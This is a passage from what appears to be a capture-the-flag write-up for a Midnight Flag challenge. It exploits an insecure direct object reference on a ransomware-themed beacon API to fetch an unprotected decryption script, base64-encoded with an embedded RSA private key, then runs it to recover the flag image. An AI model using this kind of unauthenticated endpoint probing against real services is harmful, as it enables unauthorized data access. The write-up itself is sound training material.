XMzJOeDkrTFVhaStNVE9Ua0NOY2FrMENnWUFudXpqM2pkQjYwL1E2YTh0Rkkxb2EKK2hnWlExTzFwcFkrcU1tbzE2S1dvVWtkNFlqZUsraDN0a1NRUkRvZ0RGRlNaTVBHQkxETkpvMW94dEVsSHdMaApnUEloK1Q4YzdnNlQwamNrRFVtVUpveG5YL3N4OEErbUQ5Ukw4T0l2OWtEVk94dUFNWHlEVHR6VFdIcDVhN0hGCjYzbU9Pdk9SakowYkR5VWZkUjg3TVFLQmdDcW53N0puNkJIajNYTzhFa0gwT096TlVoWVcvWUV0YkVMaEJNaEEKL1QycVdPU3JXSnVMVUVKT0NSeEUxQXhXVTdzWUJGU0h1NUl4UXR1amJpaDhRdlpzNEJoZllBQUJESnlQRzZUegpMTEFJcTNVL2YwZTN6aTZtVUcza21WYm9RSjVyaEh0aVpBY1h0VkZqekF0alBrb1NHMG8ySThkRnhUOHhNdVViCk01YWRBb0dBVDAwaUZoUTN4V2JoN3FUbjNJR2Nyc2JLZ0JEQndrczI4RzhqREdqQVdGZlZiQUxsU1JmOUdoMVAKS0R1V3JUQXN1eVUwZGh1RnZYTVV3TkxSM0dFZTdndlBPTktFcHd2ek5mL1duZ2ZoUVYwemJCZUp4SVE5cnRUSwpCYlNvb3N4VXhTQ2IxR1NHYkR3NHRBYjJRaEd5eUFIRUhrUGMyaEppN0dwZjAvUCtBdVk9Ci0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0t" ) files = os.listdir('.' ) enc_files = [f for f in files if f.endswith('.enc' )] for filename in enc_files: with open (filename, 'rb' ) as f: encrypted_data = f.read() print (f"Decrypting {filename} ..." ) try : decrypted_data = decrypt(KEY_CONST, encrypted_data) with open (filename[:-4 ], 'wb' ) as out: out.write(decrypted_data) print (f"Data written to {filename[:-4 ]} " ) except Exception as ex: print (f"Failed" )
But there is no access control, it's just the link being hidden. So we can request http://xd33r.web.midnightflag.fr:31081/api/beacon/d2f2b880-1bb8-4cf3-a46e-c23e34fbdede/decrypt_tool and then retrieve the script with the private key.
1 $ printf 'aW1wb3J0IGJhc2U2NA0KaW1wb3J0IG9zDQpmcm9tIENyeXB0by5QdWJsaWNLZXkgaW1wb3J0IFJTQQ0KZnJvbSBDcnlwdG8uQ2lwaGVyIGltcG9ydCBQS0NTMV9PQUVQLCBBRVMNCmZyb20gQ3J5cHRvLlJhbmRvbSBpbXBvcnQgZ2V0X3JhbmRvbV9ieXRlcw0KDQpkZWYgZGVjcnlwdChwcml2YXRlX2tleSwgZW5jcnlwdGVkX2NvbnRlbnQpOg0KICAgIHByaXZhdGVfY2lwaGVyX3JzYSA9IFBLQ1MxX09BRVAubmV3KFJTQS5pbXBvcnRfa2V5KHByaXZhdGVfa2V5KSkNCiAgICBjbGVhcl9hZXNfa2V5ID0gcHJpdmF0ZV9jaXBoZXJfcnNhLmRlY3J5cHQoZW5jcnlwdGVkX2NvbnRlbnRbOkFFUy5ibG9ja19zaXplKjE2XSkNCiAgICBjbGVhcl9hZXNfaXYgPSBwcml2YXRlX2NpcGhlcl9yc2EuZGVjcnlwdChlbmNyeXB0ZWRfY29udGVudFtBRVMuYmxvY2tfc2l6ZSoxNjpBRVMuYmxvY2tfc2l6ZSoxNioyXSkNCiAgICBkZWNyeXB0X2NpcGhlciA9IEFFUy5uZXcoY2xlYXJfYWVzX2tleSwgQUVTLk1PREVfQ0JDLCBjbGVhcl9hZXNfaXYpDQogICAgcmV0dXJuIGRlY3J5cHRfY2lwaGVyLmRlY3J5cHQoZW5jcnlwdGVkX2NvbnRlbnRbQUVTLmJsb2NrX3NpemUqMTYqMjpdKQ0KDQpLRVlfQ09OU1QgPSBiYXNlNjQuYjY0ZGVjb2RlKCJMUzB0TFMxQ1JVZEpUaUJTVTBFZ1VGSkpWa0ZVUlNCTFJWa3RMUzB0TFFwTlNVbEZjRUZKUWtGQlMwTkJVVVZCYmsweGRUWkdNamc0ZHpCRFRUbDNSalZwYTBoeFUyUnBkVXc1WjFORlkySjVUR2hNVjA5eFEwaGFhM1JxVURrMENsRTJTamN5ZVRaR05VOVhVRWhKYTFoNlNrZEVhM2RVTkZOdFRXaFhhWEJwUlZaQ2VUUndNRUpQVldSUllrTlVjVkk0YmpKRFVtVXZSM0pJZUZKemFuY0tkVFZOUlZKNldGVkNabmh4VDBoeFlVOVNPVGswVlVkRWF6Z3JRMmt2TTBFclF6Z3djelkwTjJKcFkwMHpZV2RIYUdGQ1MybFpjbEJvTm1GbldIZFlRZ3AxWVVGVFJtMUxOWFpVUzBaVlR6VlFUVGxaT1hWNFlYZExOSFZHY2paVlIzTnVVelpIY2pkNU0ybFlWM3BKUW1FeFpqRjRRa3AzVkM5VWFYSkJNRTluQ205dlpsZEhTVVo1YW1ZMkwwcEdibWRwY1doUVJFSXJURzF2Y0V0SVZWUkpPVWN4YWxRNGRHTk9iVlZ3VmtrMVVUSnFVMVpJVFZkcWVXUk5VWFowZG1NS1RrUXpaRlJrTWpobGFsQk5iRkoxVTJkSlR6UnRaMFpCZDBKdk0yUkdja2gyU1RCWmFuZEpSRUZSUVVKQmIwbENRVUV6WkZCRVVHWm5TbWRqT1d4bFVBcG9UVU4wUWxkTlRUQklXRXQwYUZsRVUwOVNTa293YzBsQ2JqWklaV2Q2Y1RGSGIxSk5VMlYwWTNKc1RraFpaV0pFVDBwU2JUTk9UVnBVU25Wc2MwZDJDbWQzUjJack1UUTNZelpNY1U5TFZGaFFjaTlMVDFGUk5rbHdOVUp2ZFVWWVdHWkhNelJNZFdkbFdHSkVXRmQxYlZacGVWSm1kVEIxWjBkMlQzRndiVzBLUzA1alpWRkNTM1IyVTA0NWFYaG9XVEoyY2taMFEySlFNWHB0ZGtwdFRIY3hTRkExZWxSc1ZraFRSMU5pYjBGSlUxVmFRVmwyUlZoemRTOVpaek41TVFvME4xWjZlV2hDVTBKTlFpOWFUbmh0ZEZaWE5TdHFiVFpXYWxSUFlVbFZSbFYzZFZORVZqTnJaRmhpTURsSGJrdFVZVVJZUnpOamJXcExZMlphZDNCb0NscHBXWFJtZG10eUwzZ3dWako2VHpsM1RUVmpTa2QwTmtkWlZITlhWMVUzTjAxb1JqTkJSRFJxUWxkNVdGZzJkbFJVVGxJMGIwTm1hMDFZYlVOU09USUtNVXRvUlc5QlJVTm5XVVZCZEd0MmFreEZRalU1Um1Jek1saGhURVZMZFVJMGN5dEpOVEowV2xOcU0weFZVVWx2YmxoMFlrVTNlR3R5U1ZoWVVHaHVWQXBuUmk4M1RHaHdNQzlXTlVNdlZ6VmhRalZEWlhoS1EwbHNUR3ByTWxnNVRFaHZWMGRaUWs5eFZYSlBObmxLYm5CNFlsa3dXRWhtUW1OcE1rZHljbmxSQ2pKcUwyb3pkbXczVUVzMlQwdGxWRlpsWlZncmNtRTNXVUozYlU5SGQwUmliVkU1UkRaVlFpOWhWMGM1ZDBWSGN5OXFkV2hMWjBWRFoxbEZRVE5FVEdNS1VqQldhbmsxTUcxUmRFdG9hamsxTDA1NFlURjVRWHBVVVVOSVNuVkJjRU5VTDJ4cU5VTmxaMWxuYkhSV0wyZ3ZSVkYyYTJzeFZXOVplRE01WkVONUx3cEZUbVUxUmtOQldqaE5Va1EzU1dnNGJGQTNjVkZWWkU1SVpXbEZUVWRIYTJkS2VIUldOVzl6TlVKcGNqZFJhWGhEYVdRek1HSnFZazVLZDBNMGIzQnBDalZMWTNoeU1FdDRkVkV4U1RGcGRtc3JUSHBQVDBaTmMwRTJha0ZoVlc5Q01YSjZlVzl2T0VObldVSkhhRFV6YUVwVFJVdEdRWFpaY1hwRGNYaHVRaXNLV0VkV1VHaEJNRXd5UmxOMGFIWlNTREpqTkc1SFMwTnhlbmt5ZWpkVVNWUllVVGxHYVhnM2QxZEhVRFozV2swM2EyZDVZbUZKUVhaaGEyNUJha3QwTXdwd05XMVNNbTl1ZG1KWVNUWTBja2MzZFZBNFVrNDFVVEJ3VFVOVVNXOXROSEI2WkRKeldHVnZlSEpDYVV4U1RXSkZiekI1YWxrNGRsTmtZMlJSTTNWNkNrRkhSRFpCWlZwS01ETk5hWGt3V1haS2MzSTBRVkZMUW1kUlEyRkRVVmx2TkZSVFdGZG1OVXN6Ym1SbldXWXZVamxLVVVST2JESk5lbXhaUXpWVlNsRUtSMkZCTUVkVWFFeG1SbUVyU2tSdldFaGFLM1pLVUVsVmNrRlZRMEZOT1VSdkwxSXpWRXRHTkRKSlN5OWplR0ppVkRWMGJGRk9RMFZpU1ZGVlMwTnVad3BSWnpCSVN5OVlaRTVvYTBkMmJqZERTVXQyYW5wS1IycE5jMDlrTXpkeFoxRjNhM2hzWkVWdVNqRkVaR0ZYVmt0VWVVWm1TekprZEhjNU1tUnBZMVJTQ21ncmJXWndkMHRDWjFGRE1XTnNNRlZ2VFhwYWIxSXhSVFZRWkVsQlZXUTBTMnhzYlc5UlJqTlBVa3hoU2pKTVEyUlpOemx2V0VWcmMxSlhNVVpFYmswS05HcE9WbnAwYXpoRk4wUklkblpyYUVob01XZDZaSFEyYURobFlsTXlaWEkyVGtzMVpHOWFXVE5wU1ZkeVFucDRiV3hPVXpFeFRsTlZiU3RtTW0xWVN3cHhhM2xoYlU0dmMyeENUVXBKUjFFNFNFaHFkbUpqTWtoRVkxcFlRbU5MV21GcGFFSldiVUZpVUhWT01HeExiRGRWUmxwT1pFRTlQUW90TFMwdExVVk9SQ0JTVTBFZ1VGSkpWa0ZVUlNCTFJWa3RMUzB0TFE9PSIpDQoNCmZpbGVzID0gb3MubGlzdGRpcignLicpDQoNCmVuY19maWxlcyA9IFtmIGZvciBmIGluIGZpbGVzIGlmIGYuZW5kc3dpdGgoJy5lbmMnKV0NCmZvciBmaWxlbmFtZSBpbiBlbmNfZmlsZXM6DQogICAgd2l0aCBvcGVuKGZpbGVuYW1lLCAncmInKSBhcyBmOg0KICAgICAgICBlbmNyeXB0ZWRfZGF0YSA9IGYucmVhZCgpDQogICAgICAgIHByaW50KGYiRGVjcnlwdGluZyB7ZmlsZW5hbWV9Li4uIikNCiAgICAgICAgDQogICAgICAgIHRyeToNCiAgICAgICAgICAgIGRlY3J5cHRlZF9kYXRhID0gZGVjcnlwdChLRVlfQ09OU1QsIGVuY3J5cHRlZF9kYXRhKQ0KICAgICAgICAgICAgd2l0aCBvcGVuKGZpbGVuYW1lWzotNF0sICd3YicpIGFzIG91dDoNCiAgICAgICAgICAgICAgICBvdXQud3JpdGUoZGVjcnlwdGVkX2RhdGEpDQogICAgICAgICAgICAgICAgcHJpbnQoZiJEYXRhIHdyaXR0ZW4gdG8ge2ZpbGVuYW1lWzotNF19IikNCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBleDoNCiAgICAgICAgICAgIHByaW50KGYiRmFpbGVkIikNCg==' | base64 -d > decrypt_d2f2b880-1bb8-4cf3-a46e-c23e34fbdede.py
Let's run it:
1 2 3 $ python decrypt_d2f2b880-1bb8-4cf3-a46e-c23e34fbdede.py Decrypting flag.png.enc... Data written to flag.png
The flag is: MCTF{N1c3_1d0r_TbH!@;)}